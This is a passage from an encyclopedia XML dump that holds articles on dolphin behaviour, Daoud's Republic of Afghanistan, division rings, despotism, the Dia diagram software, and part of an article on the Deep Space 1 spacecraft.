[[Image:Dolphin-intelligence.jpg|left|thumb|200px|Dolphins in balance.]]
Dolphins are widely believed to be amongst the most intelligent of all animals.  A typical statement would be that dolphins are roughly as intelligent as a two-year-old human. However, experts in [[comparative psychology]] or [[animal cognition]] would be reluctant to make any such estimate, as quantitative comparisons of intelligence between species are notoriously difficult to make in principle. Straightforward comparisons of species' relative intelligence are complicated by differences in sensory apparatus, response modes, and nature of cognition; furthermore, the difficulty and expense of doing experimental work with a large marine animal mean that even such tests as can meaningfully be done have still not been done, or have been carried out with inadequate sample size and methodology.  See the [[Dolphin intelligence]] article for more details.

Dolphins often leap above the water surface, sometimes performing acrobatic figures (e.g. the [[spinner dolphin]]). Scientists aren't quite certain about the purpose of this behavior, but it may be to locate schools of fish by looking at above water signs, like feeding birds. They could also be communicating to other dolphins to join a hunt, attempting to dislodge parasites, or simply doing it for fun. Play is a very important part of dolphins' lives and they can often be observed playing with seaweed or playfighting with other dolphins. They have even been seen harassing other creatures, like seabirds and turtles. Frequently dolphins will accompany boats, riding the bow waves.  

They are also famous for their willingness to occasionally approach humans and playfully interact with them in the water. In return, in some cultures like in [[Ancient Greece]] they were treated with welcome; a ship spotting dolphins riding in their wake was considered a good omen for a smooth voyage. There are many stories of dolphins protecting shipwrecked sailors against sharks by swimming circles around the swimmers.

Dolphins are social animals, living in pods (also called &quot;schools&quot;) of up to a dozen animals. In places with a high abundance of food, schools can join temporarily, forming an aggregation called a '''superpod'''; such groupings may exceed 1000 dolphins. The individuals communicate using a variety of clicks, whistles and other vocalizations. They also use ultrasonic sounds for [[animal echolocation|echolocation]]. 
[[Image:Airborne_dolphin.jpg|right|thumb|200px|Dolphin leaping in the air.]]

Membership in schools is not rigid; interchange is common. However, the animals can establish strong bonds between each other. This leads to them staying with injured or ill fellows for support.

Because of their high capacity for learning, dolphins have been employed by humans for any number of purposes. Dolphins trained to perform in front of an audience have become a favorite attraction in [[dolphinarium|dolphinaria]], for example [[SeaWorld]].  Dolphin/Human interaction is also employed in a curative sense at places where dolphins work with autistic or otherwise disabled children.  The military has employed dolphins for various purposes from finding mines to rescuing lost or trapped persons.  Such [[military dolphins]], however, drew scrutiny during the Vietnam War when rumors circulated that dolphins were being trained to kill Vietnamese [[Skin diving|Skin Divers]].

Reports of cooperative human-dolphin fisheries date back to [[Pliny]]. A modern human-dolphin fishery was reported in Laguna, Santa Catarina, [[Brazil]] in [[1990]]. The transmission of this behavior appears to be matrilineal.

In May [[2005]], researchers in [[Australia]] discovered a cultural aspect of dolphin behaviour: Some dolphins (Tursiops aduncus) teach their offspring to use a tool. The animals break off [[sponge]]s and put them onto their mouths thus protecting the delicate body part during their hunt for fish on the seabed. Other than with [[primate]] [[simian]]s, the knowledge to use a tool is mostly handed over only from mothers to daughters. The technology to use sponges as mouth protection is not genetically inherited but a taught cultural behaviour.

In captivity, many dolphins seem to have committed [[suicide]]. They either do so by repeatedly slamming their head against the pool walls or other solid objects or simply by not coming up for air anymore. Probably one of the best known cases of dolphin suicide is that of a dolphin named Cathy, one of the bottlenose dolphins that performed in the television series ''[[Flipper (1964 television)|Flipper]]''. She most likely died of self induced [[asphyxiation]] in the presence of her trainer [[Richard O'Barry]].[http://www.pbs.org/wgbh/pages/frontline/shows/whales/interviews/obarry2.html]

Compare also: [[whale behavior]]

==Senses==
Most dolphins have acute [[eyesight]] both in and out of the water and their sense of [[Hearing (sense)|hearing]] is superior to that of humans. Though they have a small ear opening on each side of their head it is believed hearing underwater is also if not exclusively done with the lower jaw which conducts the vibrations to the [[middle ear]] via a fat filled cavity in the lower jaw bone. Hearing is also used for [[echolocation]] which seems to be an ability all dolphins have. The dolphin's sense of touch is also well-developed.

However, dolphins lack an olfactory nerve and thus have no [[sense of smell]], but they can [[taste]] and do show preferences for certain kinds of fish. Since dolphins spend most of their time below the surface in the wild, just tasting the water could act in a manner analogous to a sense of smell.

==Feeding==
Dolphins are predators, chasing their prey at high speed. The dentition is adapted to the animals they hunt: Species with long beaks and many teeth forage on [[fish]], whereas short beaks and lesser tooth count are linked to catching squid. Some dolphins may take crustaceans. Usually, the prey is swallowed whole. The larger species, especially the [[orca]], are capable of eating marine mammals, even large whales.  There are no known reports of [[cannibalism]] amongst dolphins.

Individual species may employ a number of methods of hunting:
* '''Herding''' - where a superpod will control a school of fish while individual members take turns plowing through the herd, feeding.
* '''Corralling''' - where fish are chased to shallow water where they are more easily captured.
* '''Fish Wacking''' - where the dolphin uses its fluke to strike the fish, stunning it and sometimes sending it clear out of the water.
* '''Stunning''' - using the echolocation melon, very loud clicks are directed at prey, stunning them.
* '''Foraging''' - A recent study reported that wild [[bottlenose dolphins]] (''Tursiops'') in Western Australia use sponges to forage in the sea bed for food.[http://www.pnas.org/cgi/content/abstract/0500232102v1]
* '''Mudding''' - Coastal bottlenose dolphins in South Carolina have been observed to drive fish onto mud banks and retrieve them from there.

==Dolphin lore== 
*The popular television show ''[[Flipper (1964 television)|Flipper]]'', created by [[Ivan Tors]], portrayed a dolphin in a friendly relationship with two boys, Sandy and Bud; a kind of sea going [[Lassie]], Flipper understood English unusually well and was a marked hero: &quot;Go tell Dad we're in trouble, Flipper! Hurry!&quot; The show's theme song contains the lyric ''no one you see / is smarter than he''.  The television show was based on a [[Flipper (1963 movie)|1963 film]], and remade as a [[Flipper (1996 film)|feature film in 1996]] starring [[Elijah Wood]] and [[Paul Hogan (actor)]], as well as a [http://www.imdb.com/title/tt0111964 television series running from 1995-2000] starring [[Jessica Alba]].
*In ''[[The Hitchhiker's Guide to the Galaxy]]'', dolphins are the second most intelligent creatures on Earth (after mice) and tried in vain to warn humans of the impending destruction of the planet. However, their behavior was misinterpreted as playful [[acrobatics]]. Their story is told in ''[[So Long, and Thanks for All the Fish]]''.  ''See [[Races from The Hitchhiker's Guide to the Galaxy]]''
*After study at the Dolphins Plus research center in Key Largo, Florida, fantasy author [[Ken Grimwood]] wrote dolphins into his 1995 novel ''Into the Deep'', including entire chapters written from the viewpoint of his dolphin characters.
*''[[Ecco the Dolphin]]'' stars in a series of games for the [[Sega Genesis]]/[[Sega Mega Drive|Mega Drive]], [[Game Gear]], [[Sega Dreamcast]] and [[PlayStation 2]].
*A book called ''The Music of Dolphins'' was written by Karen Hesse, about a girl who had lived with dolphins since the age of four.
*An American [[National Football League]] (NFL) team is named the [[Miami Dolphins]].  Their logo depicts an aqua-colored [[bottlenose dolphin]] wearing an [[American football]] helmet and jumping in front of a coral-colored sunburst.
*In the ''[[Mystery Science Theater 3000]]'' episode &quot;Devil Fish,&quot; Mike and the 'Bots mock dolphins.  While doing so, the SOL gets blasted by a ship that turns out to be piloted by dolphins.  Mike and the 'Bots then quickly apoligize.
*In ''[[seaQuest DSV|seaQuest]]'', Darwin the dolphin could communicate with English speakers using a vocoder, an invention that translated the clicks and whistles to English and back.
*In ''[[The Life Aquatic with Steve Zissou]]'', marine researcher Zissou (played by [[Bill Murray]]) has trained reconaissance dolphins which apparently are temperamental and rarely follow their instructions.  In one scene, the dolphins' misbehavior elicits the following quote from Zissou: ''&quot;Son of a bitch, I'm sick of these dolphins.&quot;''
*In the book ''[[Startide Rising]]'' by author [[David Brin]], the spaceship ''Streaker'' is manned by neo-dolphins ([[dolphins]] [[genetic engineering|genetically engineered]] to match [[human]] intelligence). One of the mates of the ship is named [[Akeakamai]], in honor of the real-life dolphin from [[Louis Herman|Louis Herman's]] [[animal language]] research.
*In the [[William Gibson]] short story ''[[Johnny Mnemonic]]'' and the film by the same name (starring [[Keanu Reeves]]), cyborg dolphins were used in war-time by the military to find submarines and, after the war, by a group of revolutionaries to decode encrypted information.

==See also==
* [[Dolphin (mythology)]]
* [[List of dolphin species]]
* [[Wolphin]]
* [[John Lilly]] &amp;ndash; Dolphin intelligence researcher
* [[Louis Herman]]&amp;ndash; Scientist studying dolphin cognition and sensory processes
* [[Cetacean intelligence]] &amp;ndash; Article about dolphin intelligence
* ''[[The Day of the Dolphin]],'' a fictional movie about dolphins being used for [[assassination]]

==External links==
{{Commons|Dolphin}}
* [http://www.allaboutdolphins.net All About Dolphins: A site written about dolphins for elementary-level children, containing images and facts]
* [http://news.bbc.co.uk/2/hi/asia-pacific/4034383.stm Dolphins help lifeguards from sharks]
* [http://www.cetacea.org/ Cetacea.org site]
* [http://www.robins-island.org/ Facts and Information on Dolphins]
* [http://www.robertosozzani.it/Delfini/cont.html Red Sea Spinner Dolphin - Photo gallery]
* [http://www.tursiops.org/ Tursiops.org: Current Dolphin-related news]
* [http://www.wilddolphin.org/dolphinpictures.htm Wild Dolphin Foundation; Hawaiian Spinner Dolphin pictures, videos, information and conservation]
* [http://www.pbs.org/wnet/nature/dolphins/index.html PBS NOVA: Dolphins: Close Encounters]
*[http://www.accobams.org/download/articles/population/Agazzi_etal_2004.pdf Common dolphin prey species in the eastern Ionian Sea]
* [http://www.omplace.com/omsites/discover/DOLPHINS/ OM Place] A pictorial comparative chart.
* [http://www.projectshum.org/Dolphins/ Project website on Dolphins which discusses the different Types of Dolphins, Dolphin Behavior, as well as a Fact File about Dolphins and images.]



[[Category:Toothed whales]]

[[ast:Toliña]]
[[bg:Делфинови]]
[[ca:Dofí]]
[[cy:Dolffin]]
[[da:Delfiner]]
[[de:Delfine]]
[[eo:Delfeno]]
[[es:Delphinidae]]
[[fi:Delfiinit]]
[[fr:Delphis]]
[[gl:Golfiño]]
[[he:דולפין]]
[[id:Lumba-lumba]]
[[io:Delfino]]
[[it:Delfino]]
[[ja:イルカ]]
[[ko:돌고래]]
[[ku:Yûnis]]
[[la:Delphinus]]
[[li:Dolfiene]]
[[nl:Dolfijnen]]
[[pl:Delfin (zwierzę)]]
[[pt:Golfinho]]
[[ru:Дельфины]]
[[simple:Dolphin]]
[[sv:Delfiner]]
[[tr:Yunus]]
[[uk:Дельфіни]]
[[zh:海豚]]</text>
    </revision>
  </page>
  <page>
    <title>Daoud's Republic of Afghanistan</title>
    <id>9062</id>
    <revision>
      <id>36806819</id>
      <timestamp>2006-01-26T16:37:42Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}

{{History of Afghanistan}}

==Daoud's Republic ([[July 17]], [[1973]] - [[April 28]], [[1978]])==
The welcome [[Mohammed Daoud Khan]] received on returning to power on
[[July 17]], [[1973]] reflected the citizenry's disappointment with the
lackluster politics of the preceding decade. [[Zahir Shah]]'s &quot;New Democracy&quot; had promised much but had delivered little. Daoud's comeback was a return to traditional strongman rule and he was a particularly appealing figure to military officers. As prime minister, Daoud had obtained large supplies of modern arms from the [[Soviet Union]] and he had been a former army officer himself. Also, his strong position on the [[Pashtunistan]] issue had not been forgotten by conservative [[Pashtun]] officers.

Daoud discussed rebellion for more than a year with various opposition elements - both moderates and leftists, including military officers who were members of both the Khalqi and
[[Parcham | Parchami]] factions of the [[People's Democratic Party of Afghanistan]]. Certainly the [[communist]]s had worked vigorously to undermine Zahir Shah's experiment in
constitutional democracy. Their inflammatory speeches in
parliament and organized street riots were tactics which alarmed
Zahir to the degree that he refused to sign the law legalizing
political parties. [[Babrak Karmal]]'s Parcham faction became integrally
involved in planning the coup. There is general agreement that
Daoud had been meeting with what he called various &quot;friends&quot; for
more than a year. The coup itself was carried out by junior
officers trained in the Soviet Union. Some Afghans suspected that
Daoud and Karmal had been in touch for many years and that Daoud
had used him as an informant on the leftist movement. No strong
link can be cited to support this, however, other than the
closeness between Karmal's father, an army general, and Daoud. At
the time of the July [[1973]] coup, which took place when the king
was in [[Italy]] receiving eye treatment at the medicinal mud baths
at [[Ischia]], it was sometimes difficult to assess the
factional and party affiliation of the officers who took place.
Despite a number of conversions of Parchamis to the Khalqi
faction by the time of the communist coup of April [[1978]] which
overthrew Daoud, both party and factional loyalties became
obvious after the PDPA took power.

Although leftists had played a central role in the coup, and
despite the appointment of two leftists as ministers, evidence
suggests that the coup was Daoud's alone. Officers personally
loyal to him were placed in key positions while young Parchamis
were sent to the provinces, probably to get them out of [[Kabul]],
until Daoud had purged the leftist officers by the end of [[1975]].

The next year, Daoud established his own political party, the
National Revolutionary Party, which became the focus of all
political activity. In January [[1977]], a [[loya jirga]] approved
Daoud's constitution establishing a presidential, one party
system of government.

Any resistance to the new regime was suppressed. A coup attempt by [[Mohammad Hashim Maiwandwal]], which may have been planned before Daoud took power, was subdued shortly after his coup. In October [[1973]], Maiwandwal, a former prime minister and a highly respected former diplomat, died in prison at a time when Parchamis controlled the Ministry of Interior under circumstances corroborating the widespread belief that he had been tortured to death.

While both of the PDPA's factions had attempted to collaborate
with Daoud before the [[1973]] coup, Parcham used its advantage to
recruit on an unprecedented scale immediately following the coup.
Daoud, however, soon made it clear that he was no front man and
that he had not adopted the claims of any ideological faction. He
began in the first months of his regime to ease Parcharmis out of
his cabinet. Perhaps not to alienate the Soviet Union, Daoud was
careful to cite inefficiency and not ideological reasons for the
dismissals. Khalq, seeing an opportunity to make some short-term
gains at Parcham's expense, suggested to Daoud that &quot;honest&quot;
Khalqis replace corrupt Parchamis. Daoud, wary of ideologues,
ignored this offer.

Daoud's ties with the Soviet Union, like his relations with
Afghan communists, deteriorated during his five year presidency.
This loosening of ties with the Soviet Union was gradual. Daoud's
shift to the right and realignment made the Soviets anxious but
western observers noted that Daoud remained solicitous of Soviet
interests and Afghanistan's representative in the [[United Nations]]
voted regularly with the [[Soviet Bloc]] or with the group of
nonaligned countries. The Soviets remained by far Afghanistan's
largest aid donor and were influential enough to insist that no
Western activity, economic or otherwise, be permitted in northern
Afghanistan.

Daoud still favored a state-centered economy, and, three years
after coming to power, he drew up an ambitious seven-year
economic plan ([[1976]] - [[1983]]) that included major projects and required
a substantial influx of foreign aid. As early as [[1974]], Daoud
began distancing himself from over-reliance on the Soviet Union
for military and economic support. That same year, he formed a
military training program with [[India]], and opened talks with Iran
on economic [[development aid]]. Daoud also turned to other oil-rich
[[Muslim]] nations, such as [[Saudi Arabia]], [[Iraq]], and [[Kuwait]], for
financial assistance.

Pashtunistan zealots confidently expected the new president to
raise this issue with [[Pakistan]], and in the first few months of
the new regime, bilateral relations were poor. Efforts by Iran
and the [[United States]] to cool a tense situation succeeded after a
time, and by [[1977]] relations between Pakistan and Afghanistan had
notably improved. During Daoud's March [[1978]] visit to [[Islamabad]],
an agreement was reached whereby President [[Muhammad Zia-ul-Haq]] of
Pakistan released Pashtun and [[Baloch]] militants from prison in
exchange for Daoud withdrawing support for these groups and
expelling Pashtun and Baloch militants taking refuge in
Afghanistan.

Daoud's initial visit to the Soviet Union in [[1974]] was
friendly, despite disagreement on the Pashtunistan issue. By the
time of Daoud's second visit in April [[1977]], the Soviets knew of
his purge of the left begun in [[1975]], his removal of Soviet
advisers from some Afghan military units, and his changes in
military training whereby other nations, especially India and
[[Egypt]], trained Afghans with Soviet weapons. Despite official
goodwill, unofficial reports circulated of sharp Soviet criticism
of anticommunists in Daoud's new cabinet, of his failure to
cooperate with the PDPA, and of his criticism of [[Cuba|Cuba's]] role in
the [[Non-Aligned Movement|non-aligned movement]]. Furthermore, Daoud was friendly with
Iran and Saudi Arabia, and he had scheduled a visit to [[Washington, DC]]
for the spring of [[1978]].

By [[1978]] Daoud had achieved little of what he had set out to
accomplish. Despite good harvests in [[1973]] and subsequent years,
no real economic progress had been made, and the Afghan standard
of living had not improved. By the spring of [[1978]], he had
alienated most key political groups by gathering power into his
own hands and refusing to tolerate dissent. Although Muslim
[[fundamentalist|fundamentalists]] had been the object of repression as early as 1974, their numbers had nonetheless increased. Diehard
Pashtunistan supporters were disillusioned with Daoud's
rapprochement with Pakistan, especially by what they regarded as
his commitment in the [[1977]] agreement not to aid Pashtun militants
in Pakistan.

Most ominous for Daoud were developments among Afghan
communists. In March [[1977]], despite reaching a fragile agreement
on reunification, Parcham and Khalq remained mutually suspicious.
The military arms of each faction were not coordinated because,
by this time, Khalqi military officers vastly outnumbered
Parchami officers and feared the latter might inform Daoud of
this, raising his suspicion that a coup was imminent. Although
plans for a coup had long been discussed, according to a
statement by [[Hafizullah Amin]], the April 1978 coup was implemented
about two years ahead of time.

The [[April 19]], [[1978]], funeral for [[Mir Akbar Khyber]], a prominent
Parchami ideologue who had been murdered, served as a rallying
point for Afghan communists. An estimated 10,000 to 30,000
persons gathered to hear stirring speeches by [[Nur Mohammed Taraki]] and Karmal. Shocked by this demonstration of communist unity, Daoud ordered
the arrest of PDPA leaders, but he reacted too slowly. It took
him a week to arrest Taraki, and Amin was merely placed under
house arrest. According to later PDPA writings, Amin sent
complete orders for the coup from his home while it was under
armed guard using his family as messengers. The army had been put
on alert on [[April 26]] because of a presumed &quot;anti-Islamic&quot; coup.
Given Daoud's repressive and suspicious mood, officers known to
have differed with Daoud, even those without PDPA ties or with
only tenuous connections to the communists, moved hastily to
prevent their own downfall.

==April [[1978]] Coup==
On [[April 27]], [[1978]], a [[coup d'état]] beginning with troop
movements at the military base at [[Kabul International Airport]],
gained ground slowly over the next twenty-four hours as rebels
battled units loyal to Daoud in and around the capital. Daoud and
most of his family were shot in the Presidential Palace the
following day. Two hundred and thirty-one years of royal and then republican rule by [[Ahmad Shah]] and his descendants had ended and the period
of the communist [[Democratic Republic of Afghanistan]] had began.

[[Category:Former countries|Afghanistan, Daoud's Republic of]]
[[Category:History of Afghanistan]]

[[no:Daouds afghanske republikk]]</text>
    </revision>
  </page>
  <page>
    <title>Decameron</title>
    <id>9063</id>
    <revision>
      <id>15906986</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[The Decameron]]
</text>
    </revision>
  </page>
  <page>
    <title>Division ring</title>
    <id>9067</id>
    <revision>
      <id>38361470</id>
      <timestamp>2006-02-05T21:12:09Z</timestamp>
      <contributor>
        <username>Tosha</username>
        <id>37304</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">In [[abstract algebra]], a '''division ring''', also called a '''skew field''', is a [[ring (mathematics)|ring]] with 0 &amp;ne; 1 and such that every non-zero element ''a'' has a [[multiplicative inverse]] (i.e. an element ''x'' with ''ax'' = ''xa'' = 1). If rings are viewed as [[category theory|categorical]] constructions, then this is equivalent to requiring that all nonzero [[morphism]]s are [[isomorphism]]s. Division rings are very similar to [[field (mathematics)|fields]]  - they differ only in that their multiplication is not required to be [[commutative]]. The condition 0 &amp;ne; 1 is only there to exclude the trivial ring with a single element 0 = 1. Stated differently, a ring is a division ring [[If and only if|iff]] the [[group of units]] is the set of all non-zero elements.

All fields are division rings; more interesting examples are the non-commutative division rings. The best known example is the ring of [[quaternion]]s '''H'''. If we allow only [[rational number|rational]] instead of [[real number|real]] coefficients in the constructions of the quaternions, we obtain another division ring. In general, if ''R'' is a ring and ''S'' is a [[simple module]] over ''R'', then the [[endomorphism ring]] of ''S'' is a division ring; every division ring arises in this fashion from some simple module.

Much of [[linear algebra]] may be formulated, and remains correct, for [[module (mathematics)|modules]] over division rings instead of [[vector space|vector spaces]] over fields. Every module over a division ring has a basis; linear maps between finite-dimensional modules over a division ring can be described by [[matrix_(mathematics)|matrices]], and the [[Gauss-Jordan elimination]] algorithm remains applicable.

The [[center of a ring|center]] of a division ring is commutative and therefore a field. Every division ring is therefore a [[division algebra]] over its center. Division rings can be roughly classified according to whether or not they are finite-dimensional or infinite-dimensional over their centers. The former are called ''centrally finite'' and the latter ''centrally infinite''. Every field is, of course, one-dimensional over its center. The quaternion ring forms a 4-dimensional algebra over its center, which is isomorphic to the real numbers.

'''[[Joseph Wedderburn|Wedderburn's]] (little) theorem''': All finite division rings are commutative and therefore [[finite field|finite fields]].

'''[[Frobenius theorem (real division algebras)|Frobenius theorem]]''': The only division algebra over the reals are the the real numbers, the complex numbers and the [[quaternion]]s 

Division rings used to be called fields in an older usage, which remained in other languages.  A more complete comparison is found in the article [[Field (mathematics)]].
===Semantics===
Skew fields have an interesting [[lexical semantics|semantic]] feature: a prefix, here &quot;skew&quot;, ''widens'' the scope of the suffix (here &quot;field&quot;).  Thus a field is a particular type of skew field.  This phenomenon appears to be rare in English, the only other example being  Godemont's claim that [[tea]] is a particular kind of &quot;leaf tea&quot;.

==External links==
*[http://planetmath.org/?op=getobj&amp;from=objects&amp;id=3627 Proof of Wedderburn's Theorem at Planeth Math]

[[Category:Ring theory]]
[[Category:Mathematical theorems]]

[[de:Schiefkörper]]
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[[zh:除环]]</text>
    </revision>
  </page>
  <page>
    <title>Despotism</title>
    <id>9068</id>
    <revision>
      <id>41792589</id>
      <timestamp>2006-03-01T20:05:55Z</timestamp>
      <contributor>
        <username>Haham hanuka</username>
        <id>111674</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Despotism''' is [[government]] by a singular authority, either a single person or tightly knit group, which rules with absolute power.  The word implies [[Tyranny|tyrannical]] rule; it suggests a form of government which exercises exacting and near-absolute control over all of its citizens.

A related term is '''benevolent''' or '''enlightened despotism''', which refers specifically to a form of rulership that came to prominence in the [[18th century]].  In this instance, the absolute [[monarchy|monarchs]] ruling certain nations used their authority to institute a number of reforms in the political and social structures of their countries. This movement was probably largely triggered by the ideals of [[the Enlightenment]].

Even though the word has modern pejorative meaning, it was once a legitimate title of office in the [[Byzantine Empire]]. Just as the word &quot;Byzantine&quot; is often used in a pejorative way (for specific reasons by certain Enlightenment authors wishing to express disapproval of that period in history), the word Despot was equally turned around for negative meaning. In fact, a Despot was an Imperial title, first used under [[Manuel I Komnenos]] (1143-1180) who created it to his appointed heir [[Béla III of Hungary|Alexius-Béla]]. According to Gyula Moravcsik this title was a simple translation of Béla's Hungarian title 'úr', but other historians believe it comes from the old Roman title 'dominus'.

It was typically bestowed on sons-in-law and later sons of the Emperor, and beginning in the 13th century it was bestowed to foreign princes. The Despot wore an elaborate costume similar to the Emperor's and had many privileges. Despots ruled over parts of the empire called [[Despotate]]s. In the [[Orthodox Christianity|Orthodox]] [[Liturgy]], if celebrated in [[Greek language|Greek]], the [[priest]] is addressed by the [[deacon]] as &quot;despot&quot; even today.

==External links==
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv2-01 ''Dictionary of the History of Ideas'':] despotism
*[http://www.archive.org/details/Despotis1946 ''Archive.org - Despotism Video - 1946'']

==See also==
*[[Dictatorship]]
*[[Enlightened despot]]
*[[Monarchy]]
*[[Oligarchy]]
*[[Despotate]]

[[ca:Despotisme_il%C2%B7lustrat]]
[[de:Despotie]]
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[[uk:Деспотизм]]

[[Category:Politics]]</text>
    </revision>
  </page>
  <page>
    <title>Dia</title>
    <id>9069</id>
    <revision>
      <id>41743589</id>
      <timestamp>2006-03-01T12:37:40Z</timestamp>
      <contributor>
        <ip>84.176.23.163</ip>
      </contributor>
      <comment>InterWiki</comment>
      <text xml:space="preserve">: ''This article is about the diagram-creation software. For other meanings, see [[Dia (disambiguation)]].''
{{Infobox Software |
  name = Dia |
  screenshot = [[image:dia.png|250px|]] |
  caption = Dia 0.94 on Fedora Core 2 |
  developer = Dia developers |
  latest_release_version = 0.94 |
  latest_release_date = [[August 24]], [[2004]] |
  operating_system = [[Cross-platform]] |
  genre = [[Diagramming software]] |
  license = [[GNU General Public License|GPL]] |
  website = [http://gnome.org/projects/dia/ gnome.org/projects/dia/] |
}}
'''Dia''' is a general-purpose [[diagram]] creation [[software program]], developed as part of the [[GNOME]] project.  Dia was originally created by Alexander Larsson.  Dia uses a Controlled [[Single Document Interface]] (CSDI) similar to [[GIMP|the GIMP]] and [[Sodipodi]]/[[Inkscape]].  

Dia is conceived in a modular way with several shape packages for different needs: [[flowchart]], [[computer network|network]] diagrams, [[Electrical network|circuit]] diagrams, etc.

Dia is designed to serve a similar purpose to the commercial [[Microsoft Windows|Windows]] program [[Microsoft Visio]]. It can be used to draw many different kinds of diagrams. It currently has special objects to help draw [[entity relationship diagram]]s, [[Unified Modeling Language|UML]] diagrams, [[flowchart]]s, network diagrams, and simple circuits. It is also possible to add support for new shapes by writing simple [[XML]] files, using a subset of [[Scalable Vector Graphics|SVG]] (Scalable Vector Graphics) to draw the shape.

Dia loads and saves diagrams to a custom XML format (gzipped by default, to save space).  
Dia can export diagrams to various formats including [[Encapsulated PostScript]] (EPS) or  SVG, Drawing Interchange format (DXF), CGM, amongst others.   

Dia can print diagrams including very large diagrams that span multiple pages.  Dia can be scripted using the Python programming language.  

==See also==
*[[Kivio]]
*[[List of UML tools]]
*[[Graphviz]]

==External links==
*[http://www.gnome.org/projects/dia/ Dia Project Homepage]
*[http://www.seanet.com/~hgg9140/comp/diatut/all/all.html  Dia Tutorial written by Harry George]

[[Category:Diagramming software]]
[[Category:GNOME]]
[[Category:SourceForge projects]]
[[Category:UML tools]]

[[es:Dia (programa)]]
[[de:Dia (Software)]]
[[fr:Dia (logiciel)]]
[[it:Dia (software)]]
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[[pt:Dia (GNOME)]]
[[sv:Dia (datorprogram)]]</text>
    </revision>
  </page>
  <page>
    <title>Deep Space 1</title>
    <id>9070</id>
    <revision>
      <id>35559545</id>
      <timestamp>2006-01-17T17:23:50Z</timestamp>
      <contributor>
        <username>Tanketai</username>
        <id>361683</id>
      </contributor>
      <text xml:space="preserve">{| align=right
|[[Image:Deep Space 1 using its ion engine.jpg|thumb|right|220px|Conceptual drawing]]
|-
|[[Image:Deep Space 1 lifted.jpg|thumb|right|220px|Deep Space 1 probe]]
|}
The [[spacecraft]] '''Deep Space 1''' was launched [[October 24]], [[1998]] on top of a [[Delta II rocket]]. As part of [[NASA]]'s [[New Millennium program]], the primary goal was the testing of twelve advanced technologies that have the potential to lower the cost and risk of future missions. 

Among the technologies tested were:
* an [[ion thruster]], specifically a [[NSTAR]] [[electrostatic ion thruster]]
* 'Autonav,' an autonomous navigation system (which can also find imaging targets) which reduces ground intervention
* 'Remote agent' (remote intelligent self-repair software)
* SDST (Small, Deep-Space Transponder), a miniaturized radio system
* MICAS (Miniature Integrated Camera And Spectrometer), a smaller, lighter combination of prior instruments
* PEPE (Plasma Experiment for Planetary Exploration), again a combination of what would have been larger instruments
* SCARLET (Solar Concentrator Array of Refractive Linear Element Technologies), a lighter source with high power
* The Beacon Monitor experiment, where the spacecraft sends only a status signal during cruise, reducing cost

Deep Space 1 succeeded in its tasks and also achieved its secondary goals: flybys of the [[asteroid]] [[9969 Braille|Braille]] and of [[Comet Borrelly]], returning valuable science data and stunning pictures. Deep Space 1 was retired on [[December 18]], [[2001]].

==Technologies==

[[Image:Deep Space 1 ion engine.jpg|thumb|220px|Deep Space 1 ion engine]]
The NSTAR ion thruster achieves a specific impulse of over one to three thousand seconds.  This is an order of magnitude higher than traditional space propulsion methods, resulting in a mass savings of approximately half.  This leads to much cheaper launch vehicles.  Although the engine produces 92 milliNewtons of thrust at maximum power (about a third of an ounce), the craft achieved high speeds because ion engines thrust continuously for long periods.  The engine fired for 678 total days, a record for such engines.  The next spacecraft to use NSTAR engines is the [[Dawn Mission]], with three redundant units.

Powering the engine are the SCARLET (Solar Concentrator Array of Refractive Linear Element Technologies) solar arrays.  These use linear [[Fresnel lens|Fresnel lenses]] made of [[silicone]] to concentrate sunlight onto solar cells.  Combined with more efficient, dual-junction cells, the SCARLET arrays generate 2.5 kilowatts with less size and weight than conventional arrays.

The Autonav system takes images of known bright [[asteroid]]s.  The asteroids in the inner Solar System move in relation to other bodies at a noticeable, predictable speed.  Thus a spacecraft can determine its relative position by tracking such asteroids across the star background, which appears fixed over such timescales.  Two or more asteroids let the spacecraft triangulate its position; two or more positions in time let the spacecraft determine its trajectory.  Existing spacecraft are tracked by their interactions with the transmitters of the [[Deep Space Network]] (DSN), in effect an inverse [[GPS]].  However, DSN tracking requires many skilled operators, and the DSN is overburdened by its use as a communications network.  The use of Autonav reduces mission cost and DSN demands.  

The Autonav system can also be used in reverse, tracking the position of bodies relative to the spacecraft.  This is used to acquire targets for the scientific instruments.  The spacecraft is programmed with the target's coarse location.  After initial acquisition, Autonav keeps the subject in frame, even commandeering the spacecraft's attitude control.  The next spacecraft to use Autonav was [[Deep_Impact_(space_mission)|Deep Impact]].

Another method for reducing DSN burdens is the Beacon Monitor experiment.  During the long cruise periods of the mission, spacecraft operations are essentially suspended.  Instead of data, the craft emits a [[Carrier_wave|carrier]] signal on a predetermined frequency.  Without data decoding, the carrier can be detected by much simpler ground antennas and receivers.  If the spacecraft detects an anomaly, it changes the carrier between four tones, based on urgency.  Ground receivers then signal operators to divert DSN resources.  This prevents skilled operators and expensive hardware from babysitting an unburdened mission operating nominally.

The SDST (Small Deep-Space Transponder), as the name implies, is a compact radio communications system.  Aside from using miniaturized components, the SDST is capable of communicating over the [[Ka band]].  Because this band is higher in frequency than bands currently in use by deep-space missions, the same amount of data can be sent by smaller equipment in space and on the ground.  Conversely, existing DSN antennas can split time among more missions.  At the time of launch, the DSN had a small number of Ka receivers installed on an experimental basis; Ka operations and missions are increasing. 

Once at a target, DS1 senses the particle environment with the PEPE (Plasma Experiment for Planetary Exploration) instrument.  It maps the objects with the MICAS (Miniature Integrated Camera And [[Spectrometer]]) imaging channel, and discerns chemical composition with infrared and ultraviolet channels.  All channels share a 10-cm telescope, which uses a [[silicon carbide]] mirror.

Other, secondary technologies are built in, at the component level, and in the spacecraft built by Spectrum Astro.

==Achievements==

The ion propulsion engine initially failed after 4 hours of operation. However, it was later restored to action and performed excellently.  This was a phenomenon experienced in previous ion engines (particularly electrostatic types, with parallel grids).  Contamination in the engine is dislodged early in the mission, and contacts the closely-spaced grids.  This shorts the high voltage needed between operating grids or other engine elements.  The contamination was eventually cleared, as the material was eroded by arcs, sublimed by outgassing, or simply allowed to drift out.  This process was speeded by repeatedly restarting the engine, arcing across trapped material.

